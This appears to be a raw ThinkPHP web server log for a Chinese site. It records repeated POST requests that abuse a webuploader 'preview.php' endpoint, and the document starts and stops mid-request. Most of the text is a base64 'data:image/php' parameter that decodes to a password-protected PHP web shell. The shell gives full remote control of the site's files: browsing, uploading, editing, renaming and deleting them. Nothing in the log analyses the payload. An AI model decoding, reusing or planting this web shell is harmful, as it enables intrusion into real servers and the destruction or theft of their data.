iAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:04+08:00 ] 119.42.146.234 POST 51tianwei.com/hekenews/public/static/hui/lib%20/webuploader/0.1.5/server/server/preview.php [运行时间:0.002932s] [吞吐率:341.06req/s] [内存消耗:196.89kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'hekenews', 2 => 'public', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wd